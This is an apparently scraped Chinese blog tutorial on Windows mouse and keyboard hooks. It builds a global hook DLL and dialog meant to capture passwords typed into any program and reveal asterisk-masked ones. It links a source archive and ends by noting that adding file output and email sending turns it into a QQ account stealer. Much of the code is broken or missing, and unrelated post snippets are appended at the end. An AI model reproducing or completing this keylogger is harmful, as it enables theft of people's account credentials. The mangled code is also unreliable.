利用滑鼠鍵盤鉤子截獲密碼

2021-04-15 07:21:54 字數 3546 閱讀 3486

利用滑鼠鍵盤鉤子截獲密碼。

原始碼示例:http://zeena.nease.net/soft/getpass_src.rar

鉤子能截獲系統並得理髮送給其它應用程式的訊息,能完成一般程式無法完成的功能。掌握鉤子的程式設計方法是很有必要的

鉤子分類 :

1、wh_callwndproc和wh_callwndprocret: 使你可以監視傳送到視窗過程的訊息

3、wh_debug    除錯鉤子

4、wh_foregroundidle   噹噹應用程式的前台執行緒大概要變成空閒狀態時,系統就會呼叫      wh_foregroundidl

5、wh_journalrecord   監視和記錄輸入事件

6、wh_journalplayback   回放用wh_journalrecord記錄事件

7、wh_keyboard    鍵盤鉤子

9、wh_keyboard_ll   低層鍵盤鉤子

10、wh_mouse    滑鼠鉤子

11、wh_mouse_ll    底層滑鼠鉤子

12、wh_shell    外殼鉤子

13、wh_msgfilter 和 wh_sy**sgfilter  使我們可以監視選單,滾動條,訊息框等

安裝鉤子:

呼叫函式setwindowshookex安裝鉤子。其函式原型為:

hhook setwindowshookex( int idhook,hookproc lpfn, instance hmod,dword dwthreadid )

idhook表示鉤子型別,它是和鉤子函式型別一一對應的。如,wh_keyboard,wh_mouse。

lpfn是鉤子函式的位址。

hmod是鉤子函式所在的例項的控制代碼。對於執行緒鉤子,該引數為null;對於系統鉤子,該引數為鉤子函式所在的dll控制代碼。 (系統鉤子必須在dll中)

dwthreadid 指定鉤子所監視的執行緒的執行緒號。對於全域性鉤子,該引數為null。

setwindowshookex返回所安裝的鉤子控制代碼。

解除安裝鉤子

呼叫函式 bool unhookwindowshookex( hhook hhk)解除安裝鉤子

定義鉤子函式

鉤子函式是一種特殊的**函式。鉤子監視的特定事件發生後,系統會呼叫鉤子函式進行處理。一般為下:

lresult winapi myhookproc(int ncode ,wparam wparam,lparam lparam)

引數wparam和 lparam包含所鉤訊息的資訊,比如滑鼠位置、狀態,鍵盤按鍵等。ncode包含有關訊息本身的信,比如是否從訊息佇列中移出。

例項:下面我們通過安裝滑鼠鉤子。和鍵盤鉤子還截獲輸入的密碼,並可檢視*密碼為例,來說明何何使用鉤子。

};3:加入全域性共享資料,如下:

#pragma data_seg("sharedata")

hhook hkeyboardhook=null;  file://keyboar hook

hhook hmousehook=null;   file://mouse hook

hinstance glhinstance=null;  file://globle instance

hwnd houtputwnd=null;   file://display pass wnd

#pragma data_seg()

4:加入滑鼠,鍵盤鉤子處理函式,如下:

lresult winapi mousehookproc(int ncode,wparam wparam ,lparam lparam)}}

return callnexthookex(hmousehook,ncode,wparam,lparam);

file://加上這句,就可以繼續傳遞訊息,如果沒有,則會取消此訊息的傳遞,

file://可以起到截兒訊息的目的,我們這裡呼叫之。

}lresult winapi keyboardproc(int ncode,wparam wparam,lparam lparam)

return callnexthookex(hkeyboardhook,ncode,wparam,lparam);

file://加上這句,就可以繼續傳遞訊息,如果沒有,則會取消此訊息的傳遞,

file://可以起到截兒訊息的目的,我們這裡呼叫之。

}這裡要介紹下enumchildwindows函式,原形如下:

bool enumchildwindows(hwnd hwndparent,windenumproc lpenumfunc,lparam lparam);

hwndparent:為列舉視窗的控制代碼

lpenumfunc:列舉函式的位址,

lparam:這裡為0

5:加入列舉視窗的函式。如下:(注意,因為前面的函式據要用到此函式,所以要麼在前面宣告,要麼放在上面函式之前定義。

bool winapi enumwndproc(hwnd hwnd,lparam lparam)

}return true;

}6:在def檔案中定義段屬性: (這步很重要)

sections

mydata read write shared

7:完成starthook,stophook函式,啟動/關閉鉤子,如下:

bool cgetpasshook::starthook(hwnd hwnd)

return false;

}bool cgetpasshook::stophook()

8:在dllmain函式中得到dll控制代碼,要用到glhinstance變數,因此要加入一句,如下:

extern hinstance glhinstance; file://記得這裡

extern "c" int apientry

dllmain(hinstance hinstance, dword dwreason, lpvoid lpreserved)

else if (dwreason == dll_process_detach)

return 1;   // ok

}9:編譯,完成dll部分,

2:在主對話方塊中,加入乙個edit,id 為idc_edit_pass

3:在cgetpassworddlg.h中包含getpasshook.h檔案,宣告乙個物件。如下:

#include "getpasshook.h"

class cgetpassworddlg : public cdialog

;4:在實現檔案中:oninitdialog()中起動hook

bool cgetpassworddlg::oninitdialog()

5:加入wm_destroy訊息,在退出程式時停止hook,如下:

void cgetpassworddlg::ondestroy()

6:將getpass.dll拷貝到。exe乙個目錄下,

7:編譯,執行.

這樣,你在輸入任何密碼框輸入密碼時,密碼都將截獲。就算鍵盤hook失效,移動滑鼠到密碼框,也都獲取*號密碼,因為我們安裝兩個hook。啟動qq,輸入密碼,試下看是否已經截獲了密碼?將本程式稍做修改,將截獲的密碼輸出到檔案,並加入傳送郵件攻能,乙個qq盜號器就做成了。 

C 簡單滑鼠鍵盤鉤子KMHook

簡介 由三個檔案構成pinvo.cs keyboardhook.cs mousehook.cs pinvo.cs 是keyboardhook與mousehook需要的一些常量訊息的定義 keyboardhook 是實現的乙個wh keyboard ll型別的全域性鍵盤鉤子 setwindowshoo...

通用滑鼠鍵盤

該程式通過並行機制處理滑鼠和鍵盤的訊息,為了簡化程式裁減了一些 該程式可用為基礎在該程式上新增 可用於文字編輯,遊戲和其他滑鼠鍵盤通用的程式.include include include include include union regs regs unsigned size void far ...

滑鼠鍵盤學習

出現問題地方 1 label 和pushbutton上面無法顯示中文,出現亂碼 待解決 在main.cpp中已加入qtext odec setcodecfortr qtextcodec codecforlocale 2 在鍵入兩個函式 void mousemoveevent qmouseevent ...